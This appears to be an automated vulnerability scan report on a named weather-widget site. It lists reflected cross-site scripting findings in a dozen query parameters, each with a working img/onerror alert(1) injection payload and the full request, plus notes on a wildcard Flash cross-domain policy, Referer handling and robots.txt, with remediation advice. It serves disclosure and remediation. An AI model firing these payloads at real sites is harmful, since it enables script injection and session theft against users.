Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the category0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9dc0"><img%20src%3da%20onerror%3dalert(1)>fb4e6f61526 was submitted in the category0 parameter. This input was echoed as d9dc0"><img src=a onerror=alert(1)>fb4e6f61526 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Citiesd9dc0"><img%20src%3da%20onerror%3dalert(1)>fb4e6f61526&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the category1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4826"><img%20src%3da%20onerror%3dalert(1)>bbbb8866d0a was submitted in the category1 parameter. This input was echoed as d4826"><img src=a onerror=alert(1)>bbbb8866d0a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Citiesd4826"><img%20src%3da%20onerror%3dalert(1)>bbbb8866d0a&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the category2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92aea"><img%20src%3da%20onerror%3dalert(1)>89a7a13e5e0 was submitted in the category2 parameter. This input was echoed as 92aea"><img src=a onerror=alert(1)>89a7a13e5e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities92aea"><img%20src%3da%20onerror%3dalert(1)>89a7a13e5e0&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the category3 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d8d6"><img%20src%3da%20onerror%3dalert(1)>1312dd5e089 was submitted in the category3 parameter. This input was echoed as 9d8d6"><img src=a onerror=alert(1)>1312dd5e089 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities9d8d6"><img%20src%3da%20onerror%3dalert(1)>1312dd5e089&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the category4 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5e48"><img%20src%3da%20onerror%3dalert(1)>eaf2d50beac was submitted in the category4 parameter. This input was echoed as b5e48"><img src=a onerror=alert(1)>eaf2d50beac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Citiesb5e48"><img%20src%3da%20onerror%3dalert(1)>eaf2d50beac&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the celsiusF request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5352"><img%20src%3da%20onerror%3dalert(1)>bae73b3157b was submitted in the celsiusF parameter. This input was echoed as b5352"><img src=a onerror=alert(1)>bae73b3157b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=Cb5352"><img%20src%3da%20onerror%3dalert(1)>bae73b3157b HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the citySearch request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33b4f"><img%20src%3da%20onerror%3dalert(1)>0d71dbb1806 was submitted in the citySearch parameter. This input was echoed as 33b4f"><img src=a onerror=alert(1)>0d71dbb1806 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=133b4f"><img%20src%3da%20onerror%3dalert(1)>0d71dbb1806&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the placeCode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13ad1"><img%20src%3da%20onerror%3dalert(1)>8515275f656 was submitted in the placeCode parameter. This input was echoed as 13ad1"><img src=a onerror=alert(1)>8515275f656 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON008113ad1"><img%20src%3da%20onerror%3dalert(1)>8515275f656&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the placeCode1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5e2c"><img%20src%3da%20onerror%3dalert(1)>0eaf26d54e3 was submitted in the placeCode1 parameter. This input was echoed as e5e2c"><img src=a onerror=alert(1)>0eaf26d54e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356e5e2c"><img%20src%3da%20onerror%3dalert(1)>0eaf26d54e3&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the placeCode2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b01d"><img%20src%3da%20onerror%3dalert(1)>e3c38e664d9 was submitted in the placeCode2 parameter. This input was echoed as 9b01d"><img src=a onerror=alert(1)>e3c38e664d9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON03839b01d"><img%20src%3da%20onerror%3dalert(1)>e3c38e664d9&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the placeCode3 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4beea"><img%20src%3da%20onerror%3dalert(1)>533fc58afb6 was submitted in the placeCode3 parameter. This input was echoed as 4beea"><img src=a onerror=alert(1)>533fc58afb6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON06014beea"><img%20src%3da%20onerror%3dalert(1)>533fc58afb6&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the placeCode4 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be97d"><img%20src%3da%20onerror%3dalert(1)>8dcd114fb65 was submitted in the placeCode4 parameter. This input was echoed as be97d"><img src=a onerror=alert(1)>8dcd114fb65 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765be97d"><img%20src%3da%20onerror%3dalert(1)>8dcd114fb65&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: btn.weather.ca
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /weatherbuttons/template1.php?placeCode=CAON0081&category0=Cities&placeCode1=CAON0356&category1=Cities&placeCode2=CAON0383&category2=Cities&placeCode3=CAON0601&category3=Cities&placeCode4=CAON0765&category4=Cities&containerWidth=234&btnNo=&backgroundColor=blue&multipleCity=1&citySearch=1&celsiusF=C HTTP/1.1 Host: btn.weather.ca Proxy-Connection: keep-alive Referer: http://www.execulink.ca/myexeculink/index.php User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: btn.weather.ca
Response
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 12:30:37 GMT Server: Apache Last-Modified: Tue, 22 Dec 2009 15:08:02 GMT ETag: "51b869-18-47b52927c5880" Accept-Ranges: bytes Content-Length: 24 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/plain
User-agent: * Disallow:
Report generated by XSS.CX at Fri Apr 01 09:36:19 CDT 2011.